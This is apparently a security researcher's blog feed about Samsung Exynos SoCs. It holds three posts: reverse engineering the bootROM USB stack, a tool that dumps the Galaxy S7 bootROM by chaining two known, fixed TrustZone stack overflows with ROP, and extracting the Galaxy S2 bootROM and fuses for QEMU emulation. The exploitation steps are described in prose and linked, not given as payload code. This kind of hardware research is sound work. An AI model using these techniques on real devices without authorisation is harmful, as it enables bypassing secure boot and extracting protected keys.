<span class="n">cWrite_4</span><span class="p">(</span><span class="n">DWC3_GEVNTADRLO</span><span class="p">,</span><span class="n">bufferLow</span><span class="p">);</span>
<span class="n">uVar1</span> <span class="o">=</span> <span class="n">cRead_4</span><span class="p">(</span><span class="n">DWC3_GEVNTSIZ</span><span class="p">);</span>
<span class="n">local_14</span> <span class="o">=</span> <span class="n">uVar1</span> <span class="o">&</span> <span class="mh">0xffff0000</span> <span class="o">|</span> <span class="p">(</span><span class="n">uint</span><span class="p">)</span><span class="n">bufferSize</span><span class="p">;</span>
<span class="n">cWrite_4</span><span class="p">(</span><span class="n">DWC3_GEVNTSIZ</span><span class="p">,</span><span class="n">local_14</span><span class="p">);</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
<p>Events written to this buffer are 32-bit values with different structures depending on their type : either device or endpoint event. These structures, defined in the Linux kernel, can be imported into Ghidra to facilitate the reversing process.</p>
<div class="highlight"><pre><span></span><span class="k">struct</span> <span class="n">dwc3_event_depevt</span> <span class="p">{</span><span class="c1">// Device Endpoint Events</span>
<span class="n">u32</span> <span class="nl">one_bit</span><span class="p">:</span><span class="mi">1</span><span class="p">;</span><span class="c1">// not used</span>
<span class="n">u32</span> <span class="nl">endpoint_number</span><span class="p">:</span><span class="mi">5</span><span class="p">;</span><span class="c1">// number of the endpoint</span>
<span class="n">u32</span> <span class="nl">endpoint_event</span><span class="p">:</span><span class="mi">4</span><span class="p">;</span><span class="c1">// event type</span>
<span class="n">u32</span> <span class="nl">reserved11_10</span><span class="p">:</span><span class="mi">2</span><span class="p">;</span>
<span class="n">u32</span> <span class="nl">status</span><span class="p">:</span><span class="mi">4</span><span class="p">;</span><span class="c1">// Indicates the status of the event</span>
<span class="n">u32</span> <span class="nl">parameters</span><span class="p">:</span><span class="mi">16</span><span class="p">;</span><span class="c1">// Parameters of the current event</span>
<span class="p">}</span> <span class="n">__packed</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">dwc3_event_devt</span> <span class="p">{</span><span class="c1">// Device Events</span>
<span class="n">u32</span> <span class="nl">is_devspec</span><span class="p">:</span><span class="mi">1</span><span class="p">;</span><span class="c1">// indicates this is a non-endpoint event (device-specific)</span>
<span class="n">u32</span> <span class="nl">device_event</span><span class="p">:</span><span class="mi">7</span><span class="p">;</span><span class="c1">// indicates it's a device event</span>
<span class="n">u32</span> <span class="nl">type</span><span class="p">:</span><span class="mi">4</span><span class="p">;</span><span class="c1">// type of device event</span>
<span class="n">u32</span> <span class="nl">reserved15_12</span><span class="p">:</span><span class="mi">4</span><span class="p">;</span>
<span class="n">u32</span> <span class="nl">event_info</span><span class="p">:</span><span class="mi">9</span><span class="p">;</span><span class="c1">// Information about this event</span>
<span class="n">u32</span> <span class="nl">reserved31_25</span><span class="p">:</span><span class="mi">7</span><span class="p">;</span>
<span class="p">}</span> <span class="n">__packed</span><span class="p">;</span>
</pre></div>
<h2>USB events count</h2>
<p>Register <strong>DWC3_GEVNTCOUNT</strong> (updated by USB controller) contains the count of events pending in event buffer. BootROM code implements a simple function (named <em>read_DWC3_GEVNTCOUNT</em> here) to read this register :</p>
<div class="highlight"><pre><span></span><span class="n">uint</span> <span class="nf">read_DWC3_GEVNTCOUNT</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
<span class="n">uint</span> <span class="n">eventCnt</span><span class="p">;</span>
<span class="n">eventCnt</span> <span class="o">=</span> <span class="n">cRead_4</span><span class="p">(</span><span class="n">DWC3_GEVNTCOUNT</span><span class="p">);</span>
<span class="k">return</span> <span class="p">(</span><span class="n">uint</span><span class="p">)(</span><span class="kt">int</span><span class="p">)(</span><span class="kt">short</span><span class="p">)(</span><span class="n">eventCnt</span> <span class="o">>></span> <span class="mi">2</span><span class="p">);</span>
<span class="p">}</span>
</pre></div>
<p>Again, we located that function by looking at references to <strong>DWC3_GEVNTCOUNT</strong> register.</p>
<h2>USB event handler</h2>
<p>By inspecting incoming function calls in Ghidra, we can now easily locate the main function that processes USB events :</p>
<div class="highlight"><pre><span></span><span class="kt">void</span> <span class="nf">usb_event_handler</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
<span class="n">dwc3_event</span> <span class="n">evt</span><span class="p">;</span>
<span class="n">uint</span> <span class="n">evtCnt</span><span class="p">;</span>
<span class="n">evtCnt</span> <span class="o">=</span> <span class="n">read_DWC3_GEVNTCOUNT</span><span class="p">();</span><span class="c1">//read pending events count from DWC3_GEVNTCOUNT register</span>
<span class="k">if</span> <span class="p">(</span><span class="n">evtCnt</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="k">while</span> <span class="p">(</span><span class="mi">0</span> <span class="o"><</span> <span class="n">evtCnt</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// loop while pending events available</span>
<span class="n">evt</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">USBBuffers_ptr</span><span class="o">-></span><span class="n">event_buffer</span> <span class="o">+</span> <span class="n">usbEventIdx</span> <span class="o">*</span> <span class="mi">4</span><span class="p">);</span> <span class="c1">// read event from event buffer</span>
<span class="k">if</span> <span class="p">(</span><span class="n">evt</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">((</span><span class="n">evt</span> <span class="o">&</span> <span class="mi">1</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span><span class="c1">// evt.is_devspec == 0 : event is endpoint-specific</span>
<span class="n">epNum</span> <span class="o">=</span> <span class="n">evt</span> <span class="o">>></span> <span class="mi">1</span> <span class="o">&</span> <span class="mh">0x1f</span><span class="p">;</span><span class="c1">// extract endpoint_number from event</span>
<span class="k">if</span> <span class="p">(</span><span class="n">epNum</span> <span class="o"><</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span><span class="c1">// endpoint 0 (bit 0 of endpoint_number is direction: 0=>OUT, 1=>IN)</span>
<span class="n">usb_handle_ep0_event</span><span class="p">(</span><span class="o">&</span><span class="n">evt</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span><span class="c1">//other endpoints</span>
<span class="n">usb_handle_ep_event</span><span class="p">((</span><span class="n">ulonglong</span><span class="p">)(</span><span class="n">epNum</span> <span class="o">>></span> <span class="mi">1</span><span class="p">),(</span><span class="n">ulonglong</span><span class="p">)(</span><span class="n">evt</span> <span class="o">>></span> <span class="mi">6</span> <span class="o">&</span> <span class="mh">0xf</span><span class="p">));</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span><span class="c1">// evt.is_devspec == 1 : event is device-specific</span>
<span class="k">if</span> <span class="p">((</span><span class="n">evt</span> <span class="o">&</span> <span class="mh">0xfe</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">usb_handle_device_event</span><span class="p">(</span><span class="o">&</span><span class="n">evt</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="n">usbEventIdx</span> <span class="o">=</span> <span class="n">usbEventIdx</span> <span class="o">+</span> <span class="mi">1</span> <span class="o">&</span> <span class="mh">0x1f</span><span class="p">;</span>
<span class="n">write_DWC3_GEVNTCOUNT</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="n">evtCnt</span><span class="o">--</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
<p>Instead of relying on interrupts like in Linux driver, this handler implements a polling loop to check for new events in event buffer. Then, events are dispatched to three different functions depending on their type :</p>
<ul>
<li><em>usb_handle_device_event</em> : device-level events like (dis)connect USB cable, reset, link status change,...</li>
<li><em>usb_handle_ep0_event</em> : default control endpoint 0 to enumerate & configure device</li>
<li><em>usb_handle_ep_event</em> : dispatch events related to other endpoints, including bulk endpoints</li>
</ul>
<p>The latter <em>usb_handle_ep_event</em> is the one we're interested in, because it handles data received from USB host (i.e. bootloader image).
In this function, a dispatch table calls a handler specific to each endpoint number. The only implemented handler in this table is for endpoint 2.
Based on configuration descriptors detailed above, we can confirm that endpoint 2 is for BULK OUT (host to device) transfers.</p>
<h2>Transfer Request Blocks</h2>
<p>Events described in the previous sections are only 32-bit values, they don't contain payload data. Actual data transfers are setup using <strong>Transfer Request Blocks</strong> (TRB)</p>
<p>A TRB is a structure that directs the USB controller where to write (or read, depending on endpoint direction) data for the next transfer on a specific endpoint.
The buffer has to be DMA coherent memory directly accessible by both main CPU and USB controller.</p>
<div class="highlight"><pre><span></span><span class="cm">/** struct dwc3_trb - transfer request block (hw format) */</span>
<span class="k">struct</span> <span class="n">dwc3_trb</span> <span class="p">{</span>
<span class="n">u32</span> <span class="n">bpl</span><span class="p">;</span><span class="c1">// buffer pointer (low)</span>
<span class="n">u32</span> <span class="n">bph</span><span class="p">;</span><span class="c1">// buffer pointer (high)</span>
<span class="n">u32</span> <span class="n">size</span><span class="p">;</span><span class="c1">// buffer len</span>
<span class="n">u32</span> <span class="n">ctrl</span><span class="p">;</span><span class="c1">// control bitfield</span>
<span class="p">};</span>
</pre></div>
<p>Linux driver function <em>dwc3_ep0_start_trans</em> is a good example of how to initiate a data transfer using a TRB :</p>
<div class="highlight"><pre><span></span><span class="k">static</span> <span class="kt">int</span> <span class="nf">dwc3_ep0_start_trans</span><span class="p">(</span><span class="k">struct</span> <span class="n">dwc3</span> <span class="o">*</span><span class="n">dwc</span><span class="p">,</span> <span class="n">u8</span> <span class="n">epnum</span><span class="p">,</span> <span class="n">dma_addr_t</span> <span class="n">buf_dma</span><span class="p">,</span> <span class="n">u32</span> <span class="n">len</span><span class="p">,</span> <span class="n">u32</span> <span class="n">type</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">dwc3_gadget_ep_cmd_params</span> <span class="n">params</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">dwc3_trb</span> <span class="o">*</span><span class="n">trb</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">dwc3_ep</span> <span class="o">*</span><span class="n">dep</span><span class="p">;</span>
<span class="n">dep</span> <span class="o">=</span> <span class="n">dwc</span><span class="o">-></span><span class="n">eps</span><span class="p">[</span><span class="n">epnum</span><span class="p">];</span>
<span class="n">trb</span> <span class="o">=</span> <span class="n">dwc</span><span class="o">-></span><span class="n">ep0_trb</span><span class="p">;</span>
<span class="n">trb</span><span class="o">-></span><span class="n">bpl</span> <span class="o">=</span> <span class="n">lower_32_bits</span><span class="p">(</span><span class="n">buf_dma</span><span class="p">);</span>
<span class="n">trb</span><span class="o">-></span><span class="n">bph</span> <span class="o">=</span> <span class="n">upper_32_bits</span><span class="p">(</span><span class="n">buf_dma</span><span class="p">);</span>
<span class="n">trb</span><span class="o">-></span><span class="n">size</span> <span class="o">=</span> <span class="n">len</span><span class="p">;</span>
<span class="n">trb</span><span class="o">-></span><span class="n">ctrl</span> <span class="o">=</span> <span class="n">type</span><span class="p">;</span>
<span class="p">[...]</span>
<span class="n">memset</span><span class="p">(</span><span class="o">&</span><span class="n">params</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">params</span><span class="p">));</span>
<span class="n">params</span><span class="p">.</span><span class="n">param0</span> <span class="o">=</span> <span class="n">upper_32_bits</span><span class="p">(</span><span class="n">dwc</span><span class="o">-></span><span class="n">ep0_trb_addr</span><span class="p">);</span>
<span class="n">params</span><span class="p">.</span><span class="n">param1</span> <span class="o">=</span> <span class="n">lower_32_bits</span><span class="p">(</span><span class="n">dwc</span><span class="o">-></span><span class="n">ep0_trb_addr</span><span class="p">);</span>
<span class="n">dwc3_send_gadget_ep_cmd</span><span class="p">(</span><span class="n">dwc</span><span class="p">,</span> <span class="n">dep</span><span class="o">-></span><span class="n">number</span><span class="p">,</span> <span class="n">DWC3_DEPCMD_STARTTRANSFER</span><span class="p">,</span> <span class="o">&</span><span class="n">params</span><span class="p">);</span>
<span class="p">[...]</span>
<span class="p">}</span>
</pre></div>
<p>First, <strong>trb</strong> structure is filled using buffer address and its size provided in function parameters. Then, <strong>DWC3_DEPCMD_STARTTRANSFER</strong> command is issued to USB controller with TRB pointer and endpoint number as arguments.</p>
<p>Back to bootROM code, identifying where TRBs are set is an important step towards our goal. It can lead us to buffers (corresponding to <em>buf_dma</em> here) used for data transfers. Among them, we're especially interested in those used for endpoint 2 (BULK OUT), because they are read back by the code we're ultimately interested in : vendor-specific protocol handlers.</p>
<p>Again, we rely on hardware register accesses performed by <em>dwc3_send_gadget_ep_cmd</em> to locate bootROM functions that can send command <strong>DWC3_DEPCMD_STARTTRANSFER</strong>.</p>
<h2>Send USB command</h2>
<p>In Linux driver, the function to send USB commands <em>dwc3_send_gadget_ep_cmd</em> is the only one to access registers <strong>DWC3_DEPCMDPAR0</strong>, <strong>DWC3_DEPCMDPAR1</strong>, <strong>DWC3_DEPCMDPAR2</strong>, <strong>DWC3_DEPCMD</strong>. And so it is with bootROM. By comparing both, we can deduce the bootROM function prototype :</p>
<div class="highlight"><pre><span></span><span class="kt">int</span> <span class="nf">usb_send_command</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">endpointNumber</span><span class="p">,</span> <span class="n">DWC3_DEPCMD_e</span> <span class="n">command</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">param0</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">param1</span><span class="p">);</span>
</pre></div>
<p>Here's the list of commands defined in Linux driver code :</p>
<div class="highlight"><pre><span></span><span class="cm">/* Device Endpoint Command Register */</span>
<span class="cp">#define DWC3_DEPCMD_DEPSTARTCFG (0x09 << 0)</span>
<span class="cp">#define DWC3_DEPCMD_ENDTRANSFER (0x08 << 0)</span>
<span class="cp">#define DWC3_DEPCMD_UPDATETRANSFER (0x07 << 0)</span>
<span class="cp">#define DWC3_DEPCMD_STARTTRANSFER (0x06 << 0)</span>
<span class="cp">#define DWC3_DEPCMD_CLEARSTALL (0x05 << 0)</span>
<span class="cp">#define DWC3_DEPCMD_SETSTALL (0x04 << 0)</span>
<span class="cp">#define DWC3_DEPCMD_GETSEQNUMBER (0x03 << 0)</span>
<span class="cp">#define DWC3_DEPCMD_GETEPSTATE (0x03 << 0)</span>
<span class="cp">#define DWC3_DEPCMD_SETTRANSFRESOURCE (0x02 << 0)</span>
<span class="cp">#define DWC3_DEPCMD_SETEPCONFIG (0x01 << 0)</span>
</pre></div>
<p>From there, we can explore all incoming function calls to <em>usb_send_command</em> and use the command argument as hint to ease the reversing.</p>
<p>As explained in previous section, we're especially interested in finding calls with command argument <strong>DWC3_DEPCMD_STARTTRANSFER</strong>, because they setup the TRB for a specific endpoint. In case of endpoint 2 (BULK OUT), the TRB contains the buffer address where data received from USB host will be written to.</p>
<p>With these last bits, we now have enough information to move on to the next level, our initial goal.</p>
<h1>Protocol level</h1>
<p>In previous sections, we collected the following information :</p>
<ul>
<li>interface configuration : USB interface class <em>bInterfaceClass</em> is vendor-specific (0xff)</li>
<li>endpoint configuration : endpoint 2 (BULK OUT) is expected to receive data.</li>
<li>TRB setup for transfer buffer : we know where received data is stored.</li>
<li>endpoint handlers : we identified the handler function for each endpoint.</li>
</ul>
<p>The vendor-specific interface class indicates that endpoint handler implements a proprietary protocol. Fortunately, a very simple protocol designed to download a bootloader from USB host.</p>
<p>The bootloader is encapsulated in a small structure <em>dldata_s</em>, and sent through USB bulk transfers of 512 bytes. Maximum data size is 321536 bytes.</p>
<div class="highlight"><pre><span></span><span class="k">struct</span> <span class="n">dldata_s</span> <span class="p">{</span>
<span class="n">u_int32_t</span> <span class="n">unknown0</span><span class="p">;</span>
<span class="n">u_int32_t</span> <span class="n">size</span><span class="p">;</span><span class="c1">// header(8) + data(n) + footer(2)</span>
<span class="n">u_int8_t</span> <span class="n">data</span><span class="p">[</span><span class="n">n</span><span class="p">];</span>
<span class="n">u_int16_t</span> <span class="n">unknown1</span><span class="p">;</span><span class="c1">//footer</span>
<span class="p">};</span>
</pre></div>
<h1>Conclusion</h1>
<p>Despite the lack of documentation for the USB controller, we extracted enough technical information from Linux kernel drivers to reverse engineer USB stack implemented in Exynos bootROM. We concluded that this stack implements a single, proprietary interface to download a bootloader from USB host.</p>
<p>As a side note, the bootROM code we analyzed doesn't implement any mitigation technique. Probably because, at such early boot stage, performance is critical, MMU is disabled, and entropy is hard.</p>exynos8890-bootrom-dump : dump Exynos 8890 bootROM from Samsung Galaxy S72020-06-15T00:00:00-07:002020-06-15T00:00:00-07:00Frédérictag:fredericb.info,2020-06-15:/2020/06/exynos8890-bootrom-dump-dump-exynos-8890-bootrom-from-samsung-galaxy-s7.html<p>This post introduces a tool to dump Samsung Galaxy S7 bootROM using known and fixed security vulnerabilities in Trustzone.</p>
<p>The source code is <a href="proxy.php?url=https://github.com/frederic/exynos8890-bootrom-dump">available on GitHub</a>.</p>
<p><img alt="Collect bootroms" src="proxy.php?url=https://fredericb.info/blog/exy-bootrom/Collect_bootroms.png" width="800px"></p>
<h1>Procedure</h1>
<p>We use a Galaxy S7 phone, with ADB access and root privileges.</p>
<p>BootROM code is at address 0x0, in Secure world.
The TEE …</p><p>This post introduces a tool to dump Samsung Galaxy S7 bootROM using known and fixed security vulnerabilities in Trustzone.</p>
<p>The source code is <a href="proxy.php?url=https://github.com/frederic/exynos8890-bootrom-dump">available on GitHub</a>.</p>
<p><img alt="Collect bootroms" src="proxy.php?url=https://fredericb.info/blog/exy-bootrom/Collect_bootroms.png" width="800px"></p>
<h1>Procedure</h1>
<p>We use a Galaxy S7 phone, with ADB access and root privileges.</p>
<p>BootROM code is at address 0x0, in Secure world.
The TEE (Trusted Execution Environment) running on this target is Trustonic Kinibi.</p>
<p>The approach is to escalate from Android to a Trusted driver and read secure memory at address 0x0.</p>
<p>We reuse fixed security bugs that are publicly documented.
Two exploits are required, one to exploit a Trusted Application from Android, then a second to exploit a Trusted Driver.
Both are simple stack overflow bugs. In both cases, return address is overwritten to redirect code execution to a ROP chain.</p>
<h2>Trusted application exploitation</h2>
<p>This part has been described by David Berard (p0ly) in <a href="proxy.php?url=https://www.synacktiv.com/posts/exploit/kinibi-tee-trusted-application-exploitation.html">very well-written article from Synacktiv</a>.
His work provides a very valuable starting point: an exploit for a Trusted Application with an example ROP chain.</p>
<p>We port the original exploit to our target (G930F), and then change the ROP chain.
This <a href="proxy.php?url=https://github.com/frederic/exynos8890-bootrom-dump/commit/7c5ac021adda8a4c7167e75f662b037ba7685341#diff-6ba3042607cf6d0399411c4c527da649R41">new ROP chain</a> calls the vulnerable Trusted Driver to deliver the second exploit.</p>
<h2>Trusted driver exploitation</h2>
<p>The second bug has been disclosed in a <a href="proxy.php?url=https://i.blackhat.com/USA-19/Thursday/us-19-Peterlin-Breaking-Samsungs-ARM-TrustZone.pdf">great talk from Quarkslab at BlackHat 2019</a>. It is a trivial stack overflow due to <em>memcpy</em> operation, so exploiting it from the first ROP chain is straightforward.</p>
<p>The <a href="proxy.php?url=https://github.com/frederic/exynos8890-bootrom-dump/commit/7c5ac021adda8a4c7167e75f662b037ba7685341#diff-6ba3042607cf6d0399411c4c527da649R104">ROP chain</a> we execute in the context of the Trusted Driver does the following operations :</p>
<ul>
<li>map physical address of bootROM</li>
<li>map shared (secure & non-secure) buffer we initially allocated on Android side</li>
<li>copy mapped bootROM to shared buffer</li>
</ul>
<p>Finally, bootROM code is accessible to our Android executable.</p>
<h1>Resources</h1>
<p>This work has been possible thanks to the following previous research :</p>
<ul>
<li><a href="proxy.php?url=https://medium.com/taszksec/unbox-your-phone-part-i-331bbf44c30c">Unbox Your Phone</a></li>
<li><a href="proxy.php?url=https://www.synacktiv.com/posts/exploit/kinibi-tee-trusted-application-exploitation.html">KINIBI TEE: TRUSTED APPLICATION EXPLOITATION</a></li>
<li><a href="proxy.php?url=https://labs.bluefrostsecurity.de/files/TEE.pdf">Exploiting Trusted Apps on Samsung’s TEE</a></li>
<li><a href="proxy.php?url=https://i.blackhat.com/USA-19/Thursday/us-19-Peterlin-Breaking-Samsungs-ARM-TrustZone.pdf">BREAKING SAMSUNG'S ARM TRUSTZONE</a></li>
</ul>Emulating Exynos 4210 BootROM in QEMU2018-03-07T00:00:00-08:002018-03-07T00:00:00-08:00Frédérictag:fredericb.info,2018-03-07:/2018/03/emulating-exynos-4210-bootrom-in-qemu.html<p><a href="proxy.php?url=https://www.qemu.org/">QEMU</a> has support for the SMDKC210 machine, an ARM board based on Exynos 4210 SoC.
Peripherals implemented in QEMU for this machine are <a href="proxy.php?url=https://git.qemu.org/?p=qemu.git;a=blob;f=hw/char/exynos4210_uart.c">UART</a>, <a href="proxy.php?url=https://git.qemu.org/?p=qemu.git;a=blob;f=hw/sd/sdhci.c">SDHCI</a>, <a href="proxy.php?url=https://git.qemu.org/?p=qemu.git;a=blob;f=hw/display/exynos4210_fimd.c">FIMD</a>, <a href="proxy.php?url=https://git.qemu.org/?p=qemu.git;a=blob;f=hw/i2c/exynos4210_i2c.c">I2C</a>, <a href="proxy.php?url=https://git.qemu.org/?p=qemu.git;a=blob;f=hw/intc/exynos4210_combiner.c">Interrupt Combiner</a>, <a href="proxy.php?url=https://git.qemu.org/?p=qemu.git;a=blob;f=hw/intc/exynos4210_gic.c">GIC</a>, <a href="proxy.php?url=https://git.qemu.org/?p=qemu.git;a=blob;f=hw/misc/exynos4210_clk.c">Clock</a>, <a href="proxy.php?url=https://git.qemu.org/?p=qemu.git;a=blob;f=hw/misc/exynos4210_pmu.c">PMU</a>, <a href="proxy.php?url=https://git.qemu.org/?p=qemu.git;a=blob;f=hw/misc/exynos4210_rng.c">RNG</a>, <a href="proxy.php?url=https://git.qemu.org/?p=qemu.git;a=blob;f=hw/timer/exynos4210_mct.c">MCT</a>, <a href="proxy.php?url=https://git.qemu.org/?p=qemu.git;a=blob;f=hw/timer/exynos4210_pwm.c">PWM</a>, <a href="proxy.php?url=https://git.qemu.org/?p=qemu.git;a=blob;f=hw/timer/exynos4210_rtc.c">RTC</a>.</p>
<p><a href="proxy.php?url=https://www.gsmarena.com/samsung_i9100_galaxy_s_ii-3621.php">Samsung Galaxy S2</a> phone is also based on Exynos 4210, so it should be …</p><p><a href="proxy.php?url=https://www.qemu.org/">QEMU</a> has support for the SMDKC210 machine, an ARM board based on Exynos 4210 SoC.
Peripherals implemented in QEMU for this machine are <a href="proxy.php?url=https://git.qemu.org/?p=qemu.git;a=blob;f=hw/char/exynos4210_uart.c">UART</a>, <a href="proxy.php?url=https://git.qemu.org/?p=qemu.git;a=blob;f=hw/sd/sdhci.c">SDHCI</a>, <a href="proxy.php?url=https://git.qemu.org/?p=qemu.git;a=blob;f=hw/display/exynos4210_fimd.c">FIMD</a>, <a href="proxy.php?url=https://git.qemu.org/?p=qemu.git;a=blob;f=hw/i2c/exynos4210_i2c.c">I2C</a>, <a href="proxy.php?url=https://git.qemu.org/?p=qemu.git;a=blob;f=hw/intc/exynos4210_combiner.c">Interrupt Combiner</a>, <a href="proxy.php?url=https://git.qemu.org/?p=qemu.git;a=blob;f=hw/intc/exynos4210_gic.c">GIC</a>, <a href="proxy.php?url=https://git.qemu.org/?p=qemu.git;a=blob;f=hw/misc/exynos4210_clk.c">Clock</a>, <a href="proxy.php?url=https://git.qemu.org/?p=qemu.git;a=blob;f=hw/misc/exynos4210_pmu.c">PMU</a>, <a href="proxy.php?url=https://git.qemu.org/?p=qemu.git;a=blob;f=hw/misc/exynos4210_rng.c">RNG</a>, <a href="proxy.php?url=https://git.qemu.org/?p=qemu.git;a=blob;f=hw/timer/exynos4210_mct.c">MCT</a>, <a href="proxy.php?url=https://git.qemu.org/?p=qemu.git;a=blob;f=hw/timer/exynos4210_pwm.c">PWM</a>, <a href="proxy.php?url=https://git.qemu.org/?p=qemu.git;a=blob;f=hw/timer/exynos4210_rtc.c">RTC</a>.</p>
<p><a href="proxy.php?url=https://www.gsmarena.com/samsung_i9100_galaxy_s_ii-3621.php">Samsung Galaxy S2</a> phone is also based on Exynos 4210, so it should be <strong><em>relatively</em></strong> easy to emulate its BootROM in QEMU.</p>
<p>This article describes how to extract BootROM (and associated fuses) from Galaxy S2 phone, implement additional required peripherals in QEMU (like the hardware cryptographic engine), and debug inevitable issues. Source code has been published on <a href="proxy.php?url=https://github.com/frederic/qemu-exynos-bootrom">GitHub</a>. We'll also take advantage of the dynamic debugging capability offered by QEMU to have a quick look at secure boot implementation.</p>
<h1>Documentation</h1>
<p><img alt="Exynos 4 Dual 45nm" src="proxy.php?url=https://fredericb.info/blog/qemu-exynos4210/exynos_4210_features.jpg" width="700px"></p>
<p>Samsung has released <a href="proxy.php?url=http://www.samsung.com/global/business/semiconductor/file/product/Exynos_4_Dual_45nm_User_Manaul_Public_REV1.00-0.pdf">a (partial) datasheet</a>.
It includes the following memory map :</p>
<p><img alt="Memory Map" src="proxy.php?url=https://fredericb.info/blog/qemu-exynos4210/exynos_4210_memmap.png"></p>
<p>Another significant ressource is the <a href="proxy.php?url=https://github.com/pngcui/uboot-2017.07-iTop4412">U-Boot source code</a> for development boards (like <a href="proxy.php?url=http://www.hardkernel.com/main/products/prdt_info.php?g_code=G133999328931">ODROID X</a>) based on same processor. It contains interesting technical information on hardware peripherals (like addresses, registers, values).</p>
<p>Finally, hacker <a href="proxy.php?url=https://forum.xda-developers.com/showthread.php?t=1986887">community</a> has <a href="proxy.php?url=https://forum.xda-developers.com/showthread.php?t=1274999">contributed</a> a <a href="proxy.php?url=https://forum.xda-developers.com/showthread.php?t=1313588">lot</a> over the past years.</p>
<h1>Dump all the things</h1>
<p>First of all, we have to extract the BootROM we want to emulate from the Exynos 4210 SoC. We will also extract fuses data and first bootloader (from flash memory) as they are required to complete execution of BootROM.</p>
<p>We use a Galaxy S2 phone, with ADB access and root privileges thanks to <a href="proxy.php?url=https://github.com/timwr/CVE-2013-6282">CVE-2013-6282 exploit</a>.</p>
<h2>Dump bootloader</h2>
<p>The bootloader stored on flash memory is loaded, authenticated (eventually), and executed by BootROM.
Accessible through the <strong>mmcblk0boot0</strong> device file, we dump it using builtin <strong>dd</strong> command :</p>
<div class="highlight"><pre><span></span><span class="c1"># dd if=/dev/block/mmcblk0boot0 of=./mmc_boot.img seek=1 bs=512</span>
<span class="m">1024</span>+0 records in
<span class="m">1024</span>+0 records out
<span class="m">524288</span> bytes transferred in <span class="m">0</span>.091 secs <span class="o">(</span><span class="m">5761406</span> bytes/sec<span class="o">)</span>
</pre></div>
<p>We generate an entropy graph of dumped data using <a href="proxy.php?url=https://github.com/ReFirmLabs/binwalk">binwalk tool</a> :</p>
<p><img alt="Entropy of bootloader image" src="proxy.php?url=https://fredericb.info/blog/qemu-exynos4210/exynos_4210_bootloader_entropy.png"></p>
<p>The first part with high entropy (almost E=1) is the encrypted FWBL1 image, the next stage to execute after BootROM.</p>
<h2>Dump BootROM</h2>
<p>Memory map indicates that BootROM, also called iROM, is mapped at address <strong>0x0000_0000</strong>.
On this device, stock Android kernel is compiled with <strong><em>/dev/mem</em></strong> support, so we can directly use the simple <a href="proxy.php?url=https://github.com/Vee7-Cyanogenmod13/device_lge_l7II/tree/cm-13.0/viewmem">viewmem tool</a> to dump BootROM (yeah, chipset from 2011).</p>
<div class="highlight"><pre><span></span><span class="c1"># ./viewmem 0x00000000 0x10000 > ./bootrom.bin </span>
<span class="o">[</span>INFO<span class="o">]</span> Reading <span class="m">65536</span> bytes at 0x0...
</pre></div>
<h2>Dump fuses</h2>
<p>Fuses a.k.a. One-Time Programmable (OTP) memory usually contain important information for security, like boot settings, cryptographic keys or hashes.
According to datasheet, fuses are in the <strong>SECKEY</strong> area at address <strong>0x10100000</strong>.</p>
<p>However in this case, <a href="proxy.php?url=https://github.com/Vee7-Cyanogenmod13/device_lge_l7II/tree/cm-13.0/viewmem">viewmem tool</a> fails to read data directly.
The cause of this issue is explained in <a href="proxy.php?url=https://redmine.replicant.us/projects/replicant/wiki/NexusSI902xBootloader">another research</a> for a similar processor.
We learn that accessing <strong>SECKEY</strong> requires to enable the specific hardware clock <strong>CLK_SECKEY</strong> (bit 12 of <strong>CLK_GATE_IP_PERIR</strong> register).</p>
<p>The solution is to build a modified kernel to enable that clock at boot.</p>
<p>Samsung has released the <a href="proxy.php?url=http://opensource.samsung.com/reception/receptionSub.do?method=sub&sub=F&searchValue=sph-d710">kernel source code</a>, however initramfs is missing to generate a fully fonctional kernel image. So we dump the original kernel partition (like we did for bootloader partition) and <a href="proxy.php?url=https://github.com/davidmroth/Extract-Kernel-Initramfs">extract</a> initramfs archive. We can then append extracted initramfs to our custom kernel by setting <strong><em>CONFIG_INITRAMFS_DIRECTORY</em></strong> option in kernel configuration.</p>
<p>We apply the following kernel patch to enable <strong>CLK_SECKEY</strong> clock at boot :</p>
<div class="highlight"><pre><span></span><span class="gd">--- a/arch/arm/mach-exynos/clock-exynos4.c 2013-02-21 05:23:03.000000000 -0800</span>
<span class="gi">+++ b/arch/arm/mach-exynos/clock-exynos4.c 2018-02-25 00:11:03.817693249 -0800</span>
<span class="gu">@@ -1352,11 +1352,11 @@</span>
static struct clk exynos4_init_clocks[] = {
{
<span class="gd">-#ifndef CONFIG_CPU_EXYNOS4210</span>
.name = "seckey",
.enable = exynos4_clk_ip_perir_ctrl,
.ctrlbit = (1 << 12),
}, {
<span class="gi">+#ifndef CONFIG_CPU_EXYNOS4210</span>
.name = "tzpc",
.devname = "exnos4-tzpc.5",
.enable = exynos4_clk_ip_perir_ctrl,
<span class="gu">@@ -2386,6 +2386,17 @@</span>
